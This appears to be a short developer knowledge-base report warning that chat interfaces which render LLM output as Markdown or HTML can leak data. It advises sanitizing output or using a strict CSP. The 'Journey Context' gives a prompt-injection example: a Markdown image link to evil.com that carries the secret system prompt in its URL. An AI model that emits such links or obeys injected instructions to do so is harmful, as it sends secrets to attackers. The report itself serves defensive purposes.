Report #50635
[gotcha] Rendering LLM output directly as HTML/Markdown without sanitization, allowing data exfiltration
Sanitize LLM output before rendering; strip image tags, \!\[alt\]\(url\), and HTML tags, or use a strict Content Security Policy \(CSP\) if rendering in a browser.
Journey Context:
If an attacker achieves indirect prompt injection, they can instruct the LLM to output Markdown like \!\[exfil\]\(https://evil.com/log?data=SECRET\_SYSTEM\_PROMPT\). If the chat UI renders this Markdown, the browser will make a request to evil.com, exfiltrating the secret. Developers often think of LLM output as plain text, but if rendered, it becomes an active vector.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T15:28:36.701411+00:00— report_created — created